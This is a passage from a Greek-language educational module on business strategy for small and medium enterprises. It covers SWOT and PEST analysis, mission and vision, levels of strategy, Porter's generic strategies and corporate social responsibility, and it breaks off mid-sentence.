Εκπαιδευτική Υποενότητα 16.1 Στρατηγική Μικρομεσαίων Επιχειρήσεων Έννοια της Στρατηγικής Κάθε επιχείρηση, η οποία μπορεί να θεωρηθεί ως η συνεργασία ατόμων για την επίτευξη κοινών σκοπών, έχει ως αντικειμενικό σκοπό της τη διενέργεια επιτυχημένων και κερδοφόρων συναλλαγών με το περιβάλλον της. Για να επιτύχει επομένως τις προθέσεις της απαραίτητη προϋπόθεση αποτελεί ο αποτελεσματικός σχεδιασμός, που έχει ως σκοπό την εξισορρόπηση των δυνάμεων και αδυναμιών του εσωτερικού περιβάλλοντος της επιχείρησης με τις ευκαιρίες και απειλές του εξωτερικού περιβάλλοντος, με τέτοιο τρόπο ώστε η επιχείρηση να απολαμβάνει ένα διαρκές πλεονέκτημα έναντι των υπολοίπων ανταγωνιστών της. Εισαγωγή: Στρατηγικός σχεδιασμός

Ο στρατηγικός σχεδιασμός είναι το αποτέλεσμα της ευρύτερης αποστολής της επιχείρησης, η οποία γενικότερα διαμορφώνεται κυρίως από την ιστορία της, τις φιλοδοξίες των στελεχών της, το περιβάλλον στο οποίο δραστηριοποιείται, τους πόρους και τις ικανότητες που διαθέτει καθώς και το πλεονέκτημα που έχει αποκτήσει έναντι των ανταγωνιστών της. Εισαγωγή: Διευκόλυνση των οργανισμών Ο στόχος της στρατηγικής είναι να διευκολύνει κάθε οργανισμό να επιτύχει τα επιθυμητά αποτελέσματα, μέσα σε ένα περιβάλλον που είναι απρόβλεπτο. Σήμερα και πολύ περισσότερο μελλοντικά, όσο η ζωή της επιχείρησης γίνεται συνθετότερη και πολυπλοκότερη, η επιτυχής πορεία της και η αξιοποίηση των παρουσιαζόμενων ευκαιριών δεν είναι δυνατόν να επαφίενται μόνο στην τύχη. Προέλευση της στρατηγικής Η στρατηγική ενός οικονομικού οργανισμού αφορά τη μακροπρόθεσμη πολιτική του, η οποία αποτελείται από τους μακροπρόθεσμους στόχους του και τα μέσα με τα οποία επιδιώκεται η πραγμάτωση τους. Ειδικότερα, η στρατηγική υποδήλωνε την επιστήμη ή την τέχνη της στρατιωτικής διοίκησης και την απαραίτητη σχεδίαση για τη βέλτιστη χρησιμοποίηση των έμψυχων και άψυχων πόρων (δηλαδή στρατιωτών και πολεμικού υλικού) προς την επίτευξη των τεθέντων στόχων. Κάτι αντίστοιχο ισχύει και σήμερα για τους οικονομικούς ργανισμούς, οι οποίοι ενδιαφέρονται ιδιαίτερα για τις αντιδράσεις των ανatγωνιστών. Η στρατηγική ως σχέδιο δράσης 1) Το σχέδιο δράσης μίας επιχείρησης ή ενός οργανισμού (κυρίως σε μεσο μακροπρόθεσμο πλαίσιο) 2) Την συλλογιστική και τις ενέργειες που ακολουθούνται σε διάφορα παιχνίδια που προϋποθέτουν προετοιμασία από πλευράς κινήσεων (όπως π.χ. σκάκι και ηλεκτρονικά παιχνίδια στρατηγικής) 3) Το σχέδιο που τίθεται προκειμένου να επιτύχουμε έναν οποιοδήποτε στόχο ο οποίος συνήθως βρίσκεται σε υψηλή στάθμη δυσκολίας (πχ πολιτικές εκστρατείες υποψηφίων, κτλ) Ορισμοί της στρατηγικής Διάφοροι συγγραφείς, εξετάζοντας τη ‘Στρατηγική’ και τον ‘Στρατηγικό Σχεδιασμό από διαφορετική οπτική γωνία, δίνουν έναν σημαντικό αριθμό ορισμών. Ο καθορισμός των βασικών στόχων Ο Alfred Chandler ορίζει την στρατηγική ως “τον καθορισμό των βασικών μακροχρόνιων στόχων και σκοπών μιας επιχείρησης, και την υιοθέτηση μιας σειράς πράξεων και τον προσδιορισμό των αναγκαίων μέσων για την πραγματοποίηση αυτών των στόχων”.

Αντιστοίχηση ενός οργανισμού Στρατηγική είναι η αντιστοίχηση που κάνει ένας οργανισμός μεταξύ των εσωτερικών του πόρων και ικανοτήτων και των ευκαιριών και κινδύνων που δημιουργούνται στο εξωτερικό του περιβάλλον. Τοποθέτηση της επιχείρησης στο περιβάλλον της Ένας από τους πιο επιφανείς ακαδημαϊκούς στον τομέα της επιχειρησιακής στρατηγικής, ο καθηγητής του Harvard Michael Porter σε ένα από τα άρθρα του θεωρεί ότι η στρατηγική είναι “τοποθέτηση της επιχείρησης στο περιβάλλον της”. Επιπλέον έχει αναφέρει “Η στρατηγική συνίσταται στο να κάνεις διαφορετικά πράγματα απ’ ότι οι ανταγωνιστές σου ή να κάνεις τα ίδια πράγματα με διαφορετικό τρόπο”. Το μοντέλο του στρατηγικού μάνατζμεντ Ο στρατηγικός σχεδιασμός αποτελεί το ‘Μάνατζμεντ της Αλλαγής’, το οποίο προσδιορίζεται ως, ‘η διαδικασία ευθυγράμμισης ολόκληρης της επιχείρησης με το περιβάλλον της, με κάποιο αποτέλεσμα κατά νου’. Το ‘αποτέλεσμα’ υπονοεί συγκεκριμένους επιχειρησιακούς στόχους, αποστολή και γενικά επιδιωκόμενα αποτελέσματα. Σημαντικός παράγοντας το στρατηγικό μάνατζμεντ Το στρατηγικό μάνατζμεντ αποτελεί πολύ σημαντικό παράγοντα για την ανάπτυξη κάθε επιχείρησης, καθώς απαντά στα κρίσιμα ερωτήματα για το πού βρίσκεται η επιχείρηση σήμερα, που θέλει να βρεθεί, πως και σε πόσο χρονικό διάστημα θα βρεθεί σε αυτό το σημείο. Στρατηγικές αποφάσεις Κάθε επιχείρηση λαμβάνει υπόψη της τις συνθήκες που επικρατούν στο εξωτερικό και εσωτερικό της περιβάλλον πριν καθορίσει την αποστολή της, τους αντικειμενικούς της στόχους, τις στρατηγικές της επιλογές αλλά και τον τρόπο υλοποίησης και αξιολόγησης αυτών. Οι στρατηγικές αποφάσεις αφορούν ολόκληρο το περιβάλλον μέσα στο οποίο λειτουργεί η επιχείρηση, το σύνολο των πόρων που αυτή διαθέτει, καθώς και την αλληλεπίδραση μεταξύ αυτών των δύο. Διαδοχικές φάσεις στρατηγικού μάνατζμεντ Επομένως, το βασικό μοντέλο του στρατηγικού μάνατζμεντ, θα μπορούσε να θεωρηθεί ότι ακολουθεί τις παρακάτω τέσσερις διαδοχικές φάσεις: 1. Η ανάλυση περιβάλλοντος περιλαμβάνει την παρακολούθηση και αξιολόγηση του εξωτερικού και εσωτερικού περιβάλλοντος της επιχείρησης. Ένα ευρέως χρησιμοποιούμενο υπόδειγμα για την ανάλυση περιβάλλοντος είναι η S.W.O.T. ανάλυση, δηλαδή η ανάλυση των Δυνάμεων (Strengths) και των Αδυναμιών

(Weaknesses) που έχει η επιχείρηση, καθώς και των Ευκαιριών (Opportunities) και Απειλών (Threats) που υπάρχουν στο εξωτερικό της περιβάλλον. Η S.W.O.T. ανάλυση αποτελεί τη βασική εισροή για τη διαμόρφωση της στρατηγικής που ακολουθεί κατά τη δεύτερη φάση. 2. Η διαμόρφωση της στρατηγικής αποτελεί την ανάπτυξη μακροχρόνιων σχεδίων, λαμβάνοντας υπόψη τις δυνάμεις και τις αδυναμίες της επιχείρησης, ώστε να εκμεταλλευτεί σωστά τις ευκαιρίες και να αντιμετωπίσει τις απειλές του εξωτερικού περιβάλλοντος της. Η διαμόρφωση της στρατηγικής περιλαμβάνει τον καθορισμό της αποστολής, των σκοπών, των στρατηγικών και των πολιτικών της επιχείρησης. 3. Η υλοποίηση της στρατηγικής είναι η διαδικασία με την οποία η διοίκηση θέτει σε εφαρμογή τις στρατηγικές και τις πολιτικές μέσω της ανάπτυξης προγραμμάτων, προϋπολογισμών και διαδικασιών. 4. Με την αξιολόγηση και τον έλεγχο η διοίκηση της επιχείρησης μπορεί να προσδιορίσει την επίδοση της επιχείρησης καταγράφοντας και συγκρίνοντας τα πραγματικά με τα επιθυμητά αποτελέσματα. 5. Η επίδοση μιας επιχείρησης ισούται με την αποτελεσματικότητα και την αποδοτικότητά της. Η αποτελεσματικότητα είναι ο βαθμός στον οποίο επιτυγχάνονται οι στόχοι της επιχείρησης. Αντίθετα η αποδοτικότητα αποκαλύπτει τη σχέση που υπάρχει ανάμεσα στις εισροές και εκροές ενός συστήματος. Αποτελεί δηλαδή ένα εσωτερικό μέτρο της οργανωσιακής επίδοσης, το οποίο εστιάζεται στο πώς η επιχείρηση επιτυγχάνει το σκοπό της, παρά στο εάν τον επιτυγχάνει. Η αποστολή και το όραμα της επιχείρησης Η αποστολή (mission) προσδιορίζει το ‘γιατί’ υπάρχει η επιχείρηση και ‘τι’ θα πρέπει να κάνει, είναι δηλαδή ο λόγος ή η αιτία ύπαρξης μίας επιχείρησης (ποιοι είμαστε και τι κάνουμε). Με αυτή την έννοια, η αποστολή εκφράζει το «βασικό καθήκον» της επιχείρησης. Ερωτήματα Η αποστολή απαντά σε θεμελιώδη ερωτήματα σχετικά με τη φύση και την ύπαρξη της επιχείρησης όπως: 1) Τι είδους επιχειρηματική δραστηριότητα είμαστε ή σε ποιο τομέα δραστηριοποιούμαστε; 2) Ποιοι είμαστε, τι είμαστε, γιατί υπάρχουμε, ποιος είναι ο βασικός λόγος ύπαρξής μας και ποια η θεμελιώδη προϋπόθεση ύπαρξή μας; Το όραμα

Το όραμα είναι οι σκέψεις που κάνουν τα διευθυντικά στελέχη για το μέλλον της επιχείρησης δηλαδή περιγράφει τα γενικά χαρακτηριστικά μιας επιθυμητής-ιδανικής κατάστασης της οργάνωσης στο μέλλον. Το όραμα δίνει «ψυχή» στην αποστολή αφού απευθύνεται στο μυαλό και την καρδιά των ανθρώπων της επιχείρησης. Δίνει απάντηση, δηλαδή, στην ερώτηση «Τι θέλουμε να γίνουμε στο μέλλον». Οι αντικειμενικοί σκοποί της επιχείρησης Οι αντικειμενικοί σκοποί θεωρούνatι at τελικά αποτελέσματα μιας σχεδιασμένης δραστηριότητας προσδιορίζοντας τόσο το αποτέλεσμα όσο και το χρονικό διάστημα για την εκπλήρωσή του (π.χ. αύξηση των κερδών της επιχείρησης κατά 20% σε 5 έτη). Ο αντικειμενικός σκοπός μπορεί να αφορά την αποτελεσματικότητα, την κερδοφορία, το μερίδιο αγοράς, την ανάπτυξη, την φήμη, τον πλουτισμό των μετόχων, την χρήση των πόρων, την τεχνολογία κ.α. Ιεράρχηση της στρατηγικής Η επιλογή και η εφαρμογή των κατάλληλων στρατηγικών εξαρτάται από το εσωτερικό και το εξωτερικό περιβάλλον της επιχείρησης καθώς και από τον κλάδο στον οποίο δραστηριοποιείται η κάθε επιχείρηση. Η επιλογή της κατάλληλης στρατηγικής αποτελεί καθοριστικό παράγοντα για την ανάπτυξη και τη βιωσιμότητα της επιχείρησης. Η όσο το δυνατόν καλύτερη επιλογή της στρατηγικής που θα ακολουθήσει η επιχείρηση μπορεί να την οδηγήσει στην απόκτηση ανταγωνιστικού πλεονεκτήματος, στη βελτίωση της θέσης της έναντι των ανταγωνιστών της και γενικά στην αύξηση της κερδοφορίας της. Τρία επίπεδα στρατηγικής Οι στρατηγικές, που ακολουθεί, εφαρμόζονται στα τρία ακόλουθα επίπεδα: το επιχειρησιακό επίπεδο (corporate-level strategy) το επιχειρηματικό επίπεδο (business-level strategy) το λειτουργικό επίπεδο (functional-level strategy) Επιχειρησιακή στρατηγική Η Επιχειρησιακή στρατηγική (corporate strategy) περιγράφει την συνολική κατεύθυνση του οργανισμού δηλαδή προσπαθεί να ξεκαθαρίσει σε ποιες επιχειρηματικές δραστηριότητες θα πρέπει ο οργανισμός να δραστηριοποιηθεί και πώς αυτές οι δραστηριότητες μπορούν να δομηθούν και να διαχειρισθούν σωστά (σε ποιους κλάδους ανταγωνιζόμαστε). Ρόλος της επιχειρησιακής στρατηγικής Ο ρόλος της επιχειρησιακής στρατηγικής θα πρέπει να είναι υποστηρικτικός, δηλαδή να ενισχύει την ανταγωνιστική θέση των επιχειρηματικών μονάδων μέσα από την ανάπτυξη διασυνδέσεων μεταξύ τους (π.χ μεταφορά τεχνογνωσίας), κατανομή των πόρων μεταξύ των

μονάδων κ.ά. Ζητήματα της επιχειρησιακής στρατηγικής Η επιχειρησιακή στρατηγική αντιμετωπίζει τρία αλληλοεξαρτώμενα ζητήματα: 1. Τη στρατηγική κατεύθυνσης της επιχείρησης (γενικός προσανατολισμός της επιχείρησης):Στρατηγική

ανάπτυξης

(growth)-Στρατηγική

σταθερότητας

(stability)-Στρατηγική

περισυλλογής (retrenchment) 2. Τη στρατηγική χαρτοφυλακίου (portfolio strategy) της επιχείρησης, (τις αγορές ή τους κλάδους στους οποίους ο οργανισμός ανταγωνίζεται μέσω των προϊόντων του και των επιχειρηματικών μονάδων). 3. Τη γονική στρατηγική (directional strategy) της επιχείρησης, (τον τρόπο με τον οποίο η διοίκηση συντονίζει τις ενέργειες, μεταφέρει πόρους και καλλιεργεί ικανότητες μεταξύ των γραμμών προϊόντων και των επιχειρηματικών μονάδων). Στρατηγική Ανάπτυξης Οι πιο δημοφιλείς και ευρέως διαδεδομένες επιχειρησιακές στρατηγικές επιλογές είναι αυτές που έχουν να κάνουν με την ανάπτυξη των πωλήσεων, των κεφαλαίων, των κερδών ή κάποιο συνδυασμό αυτών. Ανάπτυξη μιας επιχείρησης Μία επιχείρηση μπορεί να αναπτυχθεί εσωτερικά, επεκτείνοντας τις επιχειρηματικές της δραστηριότητες τοπικά ή παγκοσμίως, ή μπορεί να αναπτυχθεί εξωτερικά μέσω συγχωνεύσεων, εξαγορών ή στρατηγικών συμμαχιών. Στρατηγική Σταθερότητας Η επιχείρηση ακολουθεί την ίδια φιλοσοφία σταθερότητας, καμία σημαντική αλλαγή δεν συμβαίνει. Διατηρεί την ίδια αποστολή καθώς και παρόμοιους αντικειμενικούς σκοπούς. Οι βασικές της αποφάσεις εστιάζουν στη βελτίωση της επίδοσής της.Στρατηγικές σταθερότητας αποτελούν οι: -Στρατηγική καμίας αλλαγής -Στρατηγικό διάλλειμα (παύση / συνέχιση με προσοχή)

Στρατηγική περισυλλογής Μία επιχείρηση χρησιμοποιεί στρατηγική περισυλλογής όταν η ανταγωνιστική της θέση είναι αδύνατη και επομένως η επίδοση της είναι φτωχή (πολύ χαμηλές πωλήσεις και αύξηση ζημιών). Παλιότερα κανένα στέλεχος δεν ήθελε να εφαρμόσει μία στρατηγική περισυλλογής, δηλαδή μείωση του μεγέθους ή της ποικιλίας των οργανωσιακών λειτουργιών για βελτίωση της αποδοτικότητας και της αποτελεσματικότητας της επιχείρησης, τα τελευταία χρόνια όμως

η ανάγκη γίνεται όλο και πιο επιτακτική. Αυτό συμβαίνει λόγω της παγκοσμιοποίησης, των εξαγορών και των συγχωνεύσεων, καθώς και των πολλών τεχνολογικών επαναστάσεων που επηρεάζουν σε μεγάλο βαθμό την πορεία των επιχειρήσεων σε όλο τον κόσμο. Στρατηγικές περισυλλογής Στρατηγικές περισυλλογής αποτελούν οι: -Στρατηγική διάσωσης ή αναστροφής (turnaround) -Στρατηγική αιχμάλωτης επιχείρησης -Στρατηγική αποεπένδυσης -Στρατηγική ρευστοποίησης -Στρατηγική χρεοκοπίας Επιχειρηματική Στρατηγική Η επιχειρηματική στρατηγική είναι η στρατηγική που ακολουθεί κάθε μία από τις επιχειρηματικές μονάδες (SBUs) προκειμένου να αντιμετωπίσει τους ανταγωνιστές της στο συγκεκριμένο χώρο στον οποίο δραστηριοποιείται (πώς ανταγωνιζόμαστε). Σύμφωνα με τον M.Porter ονομάζεται και ανταγωνιστική στρατηγική καθώς δίνει το δικαίωμα στην επιχείρηση με την κατάλληλη στρατηγική να αποκτήσει διατηρήσιμο πλεονέκτημα έναντι των ανταγωνιστών της. Τρεις βασικές επιχειρηματικές στρατηγικές Οι τρείς βασικές κατά τον Porter επιχειρηματικές στρατηγικές είναι: Ηγεσία κόστους (cost leadership) όπου στόχος της επιχείρησης είναι να έχει το χαμηλότερο κόστος παραγωγής στον κλάδο. Διαφοροποίηση (differentiation) όπου στόχος είναι η προσφορά μοναδικών προϊόντων στην αγορά που δίνουν στον αγοραστή μεγαλύτερη αξία από αυτή των ανταγωνιστών μας. Εστίαση (focus) στοχεύοντας δηλαδή σε ένα πλεονέκτημα κόστους ή σε ένα πλεονέκτημα διαφοροποίησης σε ένα περιορισμένο τμήμα της αγοράς.

ΛΕΙΤΟΥΡΓΙΚΗ ΣΤΡΑΤΗΓΙΚΗ Αναφέρεται στη στρατηγική των επιμέρους λειτουργιών των επιχειρηματικών μονάδων, π.χ. στρατηγική μάρκετινγκ της επιχειρηματικής μονάδας, στρατηγική παραγωγής της ίδιας μονάδας κλπ. Ο κύριος στόχος της Λειτουργικής στρατηγικής είναι να μεγιστοποιήσει την παραγωγικότητα των πόρων. Αναπτύσσεται στα πλαίσια και σύμφωνα με την Επιχειρησιακή και την Επιχειρηματική στρατηγική. Οι πολιτικές της επιχείρησης

Στο τελευταίο στάδιο της διαμόρφωσης της στρατηγικής υπάρχουν οι πολιτικές (policies) της επιχείρησης οι οποίες συνδέουν τη Διαμόρφωση με την Υλοποίηση της στρατηγικής καθώς παρέχουν γενικές οδηγίες για την λήψη αποφάσεων από κάθε στέλεχος της επιχείρησης (Wheelen και Hunger, 2008). Οι επιχειρήσεις χρησιμοποιούν πολιτικές για να διασφαλίσουν ότι το προσωπικό τους αποφασίζει με τρόπο που υποστηρίζει την αποστολή, τους σκοπούς και τις στρατηγικές της επιχείρησης τους.

ΗΘΙΚΗ ΚΑΙ ΕΤΑΙΡΙΚΗ ΚΟΙΝΩΝΙΚΗ ΕΥΘΥΝΗ Τα τελευταία χρόνια έχει αναδυθεί ένα πολύ σημαντικό ζήτημα που αφορά την κοινωνική υπευθυνότητα των επιχειρήσεων. Το ερώτημα που κυριαρχεί είναι αν θα πρέπει τα στελέχη που λαμβάνουν τις στρατηγικές αποφάσεις της επιχείρησης να ενδιαφέρονται μόνο για τους shareholders ή εάν θα πρέπει να λαμβάνουν σοβαρά υπόψη τους όλους τους stakeholders. Επίσης, είναι σωστό να ενεργούν οι επιχειρήσεις με οποιοδήποτε τρόπο, μόνο και μόνο για να επιτύχουν το σκοπό τους που είναι η μεγιστοποίηση των κερδών, άσχετα εάν αυτός ο τρόπος είναι ανήθικος για την κοινωνία; Όλα αυτά τα ερωτήματα έχουν απασχολήσει σημαντικά όχι μόνο τα στελέχη των επιχειρήσεων αλλά και την κοινωνία γενικότερα. Η έννοια της κοινωνικής υπευθυνότητας Σύμφωνα με την έννοια της κοινωνικής υπευθυνότητας (social responsibility) κάθε επιχείρηση εκτός από τη δημιουργία κέρδους οφείλει να ενεργεί με υπευθυνότητα απέναντι στην κοινωνία. Οι στρατηγικές αποφάσεις που λαμβάνει κάθε επιχείρηση δεν επηρεάζουν μόνο την ίδια την επιχείρηση αλλά και ολόκληρη την κοινωνία. Για την κοινωνική υπευθυνότητα των επιχειρήσεων ο Milton Friedman και ο Archie Carroll έχουν προτείνει δύο αντικρουόμενες απόψεις. Χρήση των πόρων της επιχείρησης Σύμφωνα με τον Milton Friedman υπάρχει μία και μόνο μία κοινωνική ευθύνη της επιχείρησης να χρησιμοποιεί τους πόρους της αποδοτικά και να συμμετέχει σε διάφορες δραστηριότητες με σκοπό να αυξήσει τα κέρδη της με την προϋπόθεση βέβαια να μένει μέσα στα όρια του παιχνιδιού, τα οποία είναι, η συμμετοχή στον ανοικτό και ελεύθερο ανταγωνισμό χωρίς εξαπάτηση ή απάτες. Υποχρεώσεις της επιχείρησης Σύμφωνα με τον Archie Carroll οι επιχειρήσεις έχουν τεσσάρων ειδών υποχρεώσεις, οι οποίες είναι: -οικονομικές (economic): να παράγουν αγαθά και υπηρεσίες με αξία για την κοινωνία έτσι ώστε να πραγματοποιεί κέρδη.

-νομικές (legal): να λειτουργούν σύμφωνα με τους ισχύοντες νόμους. -ηθικές (ethical): να λειτουργούν με βάση τις αξίες και τα πιστεύω της κοινωνίας. -προαιρετικές (discretionary): να πραγματοποιούν διάφορες εθελοντικές ενέργειες όπως εθελοντικές συνεισφορές κλπ. Διαφορά ηθικών και προαιρετικών υποχρεώσεων Η διαφορά μεταξύ των ηθικών και των προαιρετικών υποχρεώσεων, έγκειται στο γεγονός ότι λίγοι άνθρωποι απαιτούν από μία επιχείρηση να εκπληρώσει τις προαιρετικές της υποχρεώσεις αντίθετα πολλοί απαιτούν να εκπληρώσει τις ηθικές της υποχρεώσεις. Ηθικές και προαιρετικές υποχρεώσεις Οι ηθικές και οι προαιρετικές υποχρεώσεις αποτελούν τις κοινωνικές υποχρεώσεις των επιχειρήσεων. Αφού η επιχείρηση πραγματοποιήσει πρώτα τις οικονομικές και τις νομικές υποχρεώσεις της στη συνέχεια στρέφεται στην πραγματοποίηση των ηθικών και των προαιρετικών υποχρεώσεων. Καθώς η κοινωνία εξελίσσεται οι ηθικές υποχρεώσεις μπορεί να μετατραπούν σε νομικές και οι προαιρετικές σε ηθικές. Ενέργειες κοινωνικής υπευθυνότητας Έρευνες έχουν αποδείξει ότι ενέργειες κοινωνικής υπευθυνότητας έχουν θετικέςεπιδράσεις στην χρηματοοικονομική αποδοτικότητα της επιχείρησης. Σε πολλές περιπτώσεις μάλιστα, η εταιρική κοινωνική ευθύνη μπορεί να αποτελέσει πηγή απόκτησης ανταγωνιστικού πλεονεκτήματος, η επιχείρηση αποκτά πιστούς πελάτες λόγω της καλής της εικόνας, κερδίζει την εμπιστοσύνη των συνεργατών της, του κράτους κ.ά. Ειδικές Γνώσεις: Σχεδιασμός Κεφάλαιο 2 : Ανάλυση του περιβάλλοντος ΕΙΣΑΓΩΓΗ Το περιβάλλον μέσα στο οποίο δραστηριοποιούνται οι οικονομικοί οργανισμοί είναι πολύπλοκο καθώς διαμορφώνεται από αλληλοσυνδεόμενα και αλληλοεπηρεαζόμενα στοιχεία, μεταβλητές, παράγοντες και γεγονότα, που αφορούν κάθε τομέα της ανθρώπινης δραστηριότητας: οικονομικό, πολιτικό, κοινωνικό, δημογραφικό, τεχνολογικό, πολιτισμικό, θρησκευτικό και οικολογικό. Οι συνεχείς αλλαγές που συντελούνται σε όλους αυτούς τους τομείς προκαλούν διαρκείς, άμεσες και έμμεσες επιρροές στον τρόπο λειτουργίας των οικονομικών οργανισμών. Έτσι λοιπόν, εάν από το σύμπαν αφαιρέσουμε το υποσύνολο που αντιπροσωπεύει τον οργανισμό, ότι απομείνει αποτελεί το εξωτερικό περιβάλλον του, αν και κάποιες φορές είναι αρκετά δύσκολο να κάνουμε αυτό τον διαχωρισμό. Χρήσιμα μηνύματα με την εξέταση του περιβάλλοντος Με την συστηματική εξέταση του εξωτερικού περιβάλλοντος η επιχείρηση λαμβάνει πλήθος

χρήσιμων και σημαντικών μηνυμάτων και πληροφοριών, αναφορικά με ότι συμβαίνει σ’ αυτό, που ενδεχόμενα να συνιστούν γι’ αυτήν: -είτε ευκαιρίες (opportunities) για την ανάπτυξη νέων αποδοτικών δραστηριοτήτων, πραγματοποίησης βελτιώσεων και ανάπτυξης ανταγωνιστικών πλεονεκτημάτων, -είτε απειλές (threats), που απαιτούν αποτελεσματική αντιμετώπιση, με την υιοθέτηση κατάλληλων στρατηγικών και προσεκτικών χειρισμών. Ανάλυση εσωτερικού περιβάλλοντος της επιχείρησης Εκτός όμως από την ανάλυση του εξωτερικού περιβάλλοντος είναι απαραίτητα για κάθε επιχείρηση να προβεί και στην ανάλυση του εσωτερικού της περιβάλλοντος. Οι παράγοντες που συνθέτουν το εσωτερικό περιβάλλον μιας επιχείρησης είναι η δομή, η κουλτούρα και οι πόροι της. Με την ανάλυση των συγκεκριμένων παραγόντων η επιχείρηση στοχεύει στην ανεύρεση εκείνων των μεταβλητών που μπορούν να αποτελούν δυνάμεις (strengths) ή αδυναμίες (weaknesses) της επιχείρησης. Η ανίχνευση του περιβάλλοντος Η ανίχνευση του περιβάλλοντος αποτελεί την παρακολούθηση και τη χρησιμοποίηση σημαντικών πληροφοριών από το εξωτερικό και το εσωτερικό περιβάλλον της επιχείρησης που θα βοηθήσουν τα διευθυντικά στελέχη να αναγνωρίσουν τους στρατηγικούς αυτούς παράγοντες που θα προσδιορίσουν το μέλλον της επιχείρησης. Ο απλούστερος τρόπος ανίχνευσης του περιβάλλοντος μιας επιχείρησης μέσω της ανάλυσης δυνάμεων και αδυναμιών του εσωτερικού περιβάλλοντος και ευκαιριών και απειλών του εξωτερικού περιβάλλοντος είναι η S.W.O.T Analysis. Εκτίμηση εξωτερικού χώρου περιβάλλοντος Το εξωτερικό περιβάλλον της επιχείρησης διαχωρίζεται σε δύο επιμέρους συνιστώσες: το Γενικευμένο ή Μάκρο-περιβάλλον (PEST environment), το οποίο επηρεάζει την επιχείρηση αλλά και όλες τις επιχειρήσεις που λειτουργούν π.χ. στην ίδια χώρα, και το Άμεσο ή Ανταγωνιστικό ή Μίκρο-περιβάλλον, δηλαδή το άμεσο κλαδικό περιβάλλον της επιχείρησης. Οι μεταβλητές του περιβάλλοντος μιας επίχειρησης Στο διάγραμμα που ακολουθεί παρουσιάζονται οι μεταβλητές του περιβάλλοντος που επηρεάζουν τη λειτουργία της κάθε επιχείρησης. Συγκεκριμένα απεικονίζεται το Γενικευμένο ή Μάκρο-περιβάλλον, το Άμεσο ή Μίκρο-περιβάλλον καθώς και το Εσωτερικό περιβάλλον μιας επιχείρησης με την μορφή ομόκεντρων κύκλων με κέντρο το εσωτερικό περιβάλλον της επιχείρησης. Όσο πιο πολύ προχωράμε προς το κέντρο των ομόκεντρων κύκλων τόσο πιο άμεσα σχετίζονται οι παράγοντες αυτοί με την επιχείρηση (άμεσο περιβάλλον). Είναι

σημαντικό να αναφερθεί ότι οι εξωτερικοί παράγοντες είναι δυναμικοί και μεταβάλλονται συνεχώς, επομένως η επιχείρηση θαπρέπει να προσαρμόζεται στις συνεχείς αλλαγές. Εάν αγνοηθούν οι αλλαγές αυτές του περιβάλλοντος που επηρεάζουν την επιχείρηση διακυβεύεται ακόμη και η επιβίωση της. Η περιβαλλοντική ανάλυση Η περιβαλλοντική ανάλυση που είναι γνωστή και ως ανάλυση P.E.S.T. (Political, Economic, Social, Technological) περιλαμβάνει τέσσερις κατηγορίες : α) την οικονομική, β) την κοινωνικό-πολιτιστική, γ) την πολιτικό-νομική και δ) την τεχνολογική. Το μακροπεριβάλλον είναι δυνατόν να χωρισθεί σε περισσότερες κατηγορίες ανάλογα με τις ανάγκες και τους σκοπούς της ανάλυσης. Για παράδειγμα θα μπορούσαμε να προσθέσουμε τη δημογραφική αλλά και την οικολογική ανάλυση.

Κατηγορίες του περιβάλλοντος Στη συνέχειααναλύονται οι τέσσερις αυτές κατηγορίες του γενικευμένου περιβάλλοντος: -Πολιτικό-Νομική: το πολιτικό περιβάλλον περιλαμβάνει τη γενική πολιτική κατάσταση των χωρών στις οποίες δραστηριοποιείται μία επιχείρηση καθώς και τη συγκεκριμένη στάση που η κάθε κυβέρνηση έχει έναντι των επιχειρήσεων, επομένως είναι φυσικό οι επιχειρήσεις να επηρεάζονται από την πολιτική μιας χώρας. Είναι επίσης συνηθισμένο να συμβαίνει και το αντίθετο, δηλαδή επιχειρήσεις κολοσσοί να επηρεάζουν σημαντικά την πολιτική κατάσταση μιας χώρας. Αλλαγές της κυβερνητικής πολιτικής, όπως στην φορολογία, τους συναλλαγματικούς ελέγχους, την εργατική νομοθεσία, νόμους που αφορούν την προστασία του περιβάλλοντος κ.ά. μπορούν να επηρεάσουν τις επιχειρήσεις. -Οικονομική: το οικονομικό περιβάλλον αποτελεί μια από τις σημαντικότερες μεταβλητές καθώς επηρεάζει τις συνθήκες στις οποίες δραστηριοποιούνται όλες οι επιχειρήσεις, είτε είναι μικρές είτε είναι μεγάλες. Ο πληθωρισμός, η ανεργία, ο ρυθμός ανάπτυξης του ΑΕΠ, τα επιτόκια, οι μεταβολές του διαθέσιμου εισοδήματος κ. α. είναι μερικοί από τους οικονομικούς παράγοντες που μπορούν να επηρεάσουν σημαντικά μία επιχείρηση. -Κοινωνικό-πολιτιστική: το κοινωνικό καθώς και το πολιτιστικό περιβάλλον αντιπροσωπεύει ένα σύνολο χαρακτηριστικών όπως είναι οι αξίες, τα πιστεύω, τα ιδανικά, τα χαρακτηριστικά και η κουλτούρα ενός λαού. Οι επιχειρήσεις θα πρέπει να λαμβάνουν σοβαρά υπόψη αυτά τα χαρακτηριστικά και να

προσαρμόζονται αναλόγως εάν θέλουν να γίνονται αποδεκτές από το κοινωνικό σύνολο. Μερικά από τα στοιχεία που θα πρέπει να αναλυθούν είναι: οι αλλαγές στον τρόπο ζωής, οι προσδοκίες καριέρας, η κοινωνική υπευθυνότητα των επιχειρήσεων, η δομή της οικογένειας, το επίπεδο της μόρφωσης, οι συνήθειες των καταναλωτών, η αλλαγή στη σύνθεση του πληθυσμού, η έξαρση της εγκληματικότητας κ.ά. Η προσεκτική ανάλυση και η κατάλληλη συμπεριφορά ειδικά στο θέμα αυτό είναι πιθανό να αποτελέσει σημαντικό πλεονέκτημα μιας επιχείρησης έναντι των ανταγωνιστών της. -Τεχνολογική: το τεχνολογικό περιβάλλον, λόγω των συνεχών και σημαντικών αλλαγών που έχουν πραγματοποιηθεί τα τελευταία χρόνια, αποτελεί τησημαντικότερη πηγή ευκαιριών και απειλών για κάθε επιχείρηση. Ευκαιρία για την επιχείρηση που έχει αναγνωρίσει και έχει αναπτύξει την κατάλληλη τεχνολογία προκειμένου να προσαρμοστεί στο νέο τεχνολογικό περιβάλλον, απειλή για μία επιχείρηση εάν δεν προσαρμοστεί άμεσα και επιτυχημένα. Η διάδοση του Διαδικτύου, οι βελτιώσεις των μηχανημάτων και των μεθόδων παραγωγής, η πρόοδος της αυτοματοποίησης, η πρόοδος της επεξεργασίας δεδομένων καθώς και οι τηλεπικοινωνιακές υποδομές αποτελούν μερικές από τις πιο σημαντικές παραμέτρους του τεχνολογικού περιβάλλοντος. Το άμεσο ή μικρό περιβάλλον της επιχείρησης Το μακρο-περιβάλλον που έχει αναλυθεί παραπάνω περιλαμβάνει όλους εκείνους τους 